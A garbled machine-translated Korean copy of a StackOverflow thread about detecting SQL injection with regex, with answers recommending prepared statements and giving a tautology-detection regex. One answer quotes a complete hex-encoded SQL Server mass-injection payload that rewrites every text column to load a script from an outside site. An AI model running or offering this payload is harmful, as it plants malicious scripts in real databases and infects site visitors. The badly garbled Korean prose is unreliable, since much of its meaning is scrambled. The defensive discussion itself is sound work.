문제

가 정기적인 표현을 검출할 수 있는 SQL 문자열에서?사람의 샘플을 한 것을 사용하기 전에 공유할 수 있나요?

도움이 되었습니까?

해결책

그것을 하지 않는다.당신은 실질적으로 실패를 보장합니다.사 PreparedStatement (또는 그 상당액)이다.

다른 팁

사용 저장되었거나 준비 계산서,당신은 어떻게 검출하는 뭔가가 이것을 좋아하는가?BTW 실행하지 않는

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

자신을 저장하는 문제 및 저장 프로시저를 사용으로 준비된 문 또는 매개 변수가 있는 검색어입니다.저장 프로시저는 좋은 연습이 어쨌든 그들처럼 행동하는 인터페이스 데이터베이스로 변경할 수 있도록 무대 뒤에서 일어나는(내부에 저장된 proc)하지만 서명을 동일하게 유지됩니다.준비된 문을 돌볼 수 있도록 주입의 보호합니다.

가 없 regex 지 나의 이해하는 가장 중요한 것은을 감지하는 하나의 견적입니다.모든 주입의 공격에서 시작합니다.그들은 아마이도 언급하고 다른 SQL 수 있는 후의 문자열입니다.

으로 말한다면,그것은 더 나은 사용하는 준비된 문이 있습니다.주장할 수 있을 강제로 키 쿼리를 실행 저장 프로시저를 통해 사용하도록 강제한 준비합니다.

어쨌든,여기에 간단한 grep 을 감지하는 클래식 n=n 의 정수로서 절;그것을 건너 신고하 1=1 의해 사용되는 많은 게으른 query 생성자를 위해 그리고,하지만 국기 위해 또는

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

그것은 수의 물론 향상을 감지하는 소수 문자열을 비교하고,하지만 빠른 검색 메커니즘과 함께,다른 greps 등 ORD(중순(,etc.

에 그것을 사용하는 쿼리를 로그와 같은 mysql 의 일반적인 로그인

희망이용

라이센스 : CC-BY-SA ~와 함께 속성
제휴하지 않습니다 StackOverflow
scroll top